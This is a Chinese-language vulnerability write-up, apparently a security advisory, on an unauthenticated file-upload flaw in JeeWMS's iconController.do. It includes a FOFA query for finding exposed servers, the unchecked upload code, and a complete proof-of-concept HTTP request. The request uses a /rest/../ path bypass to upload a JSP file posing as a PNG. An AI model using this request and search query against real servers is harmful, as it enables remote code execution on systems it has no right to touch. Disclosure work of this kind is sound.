漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS iconController.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
影响版本
2.4.0(2025-03-26 当前最新版)
fofa语法
body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"
漏洞分析
可以明显看到没有任何校验直接上传文件,且文件保存在 plug-in/accordion/images目录下
/**
* 上传图标
*
* @param request
* @return
* @throws Exception
*/
@RequestMapping(params = "saveOrUpdateIcon", method = RequestMethod.POST)
@ResponseBody
public AjaxJson saveOrUpdateIcon(HttpServletRequest request) throws Exception {
String message = null;
AjaxJson j = new AjaxJson();
TSIcon icon = new TSIcon();
Short iconType = oConvertUtils.getShort(request.getParameter("iconType"));
String iconName = oConvertUtils.getString(request.getParameter("iconName"));
String id = request.getParameter("id");
icon.setId(id);
icon.setIconName(iconName);
icon.setIconType(iconType);
// uploadFile.setBasePath("images/accordion");
UploadFile uploadFile = new UploadFile(request, icon);
uploadFile.setCusPath("plug-in/accordion/images");
uploadFile.setExtend("extend");
uploadFile.setTitleField("iconclas");
uploadFile.setRealPath("iconPath");
uploadFile.setObject(icon);
uploadFile.setByteField("iconContent");
uploadFile.setRename(false);
systemService.uploadFile(uploadFile);
// 图标的css样式
String css = "." + icon.getIconClas() + "{background:url('../images/" + icon.getIconClas() + "." + icon.getExtend() + "') no-repeat}";
write(request, css);
message = MutiLangUtil.paramAddSuccess("common.icon");
j.setMsg(message);
return j;
}
权限绕过部分 参考前一篇文章 JeeWMS commonController.do 任意文件上传漏洞(CVE-2024-57761)
漏洞复现
POST /rest/../iconController.do?saveOrUpdateIcon HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----123321
------123321
Content-Disposition: form-data; name="file"; filename="uid.jsp"
Content-Type: image/png
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------123321--

访问文件 /plug-in/accordion/images/uid.jsp

成功打印 UUID 并删除自身。
PS : 其实这个洞 和 Jeecg 的 iconController 上传一模一样 ...
参考
https://gitee.com/erzhongxmu/JEEWMS


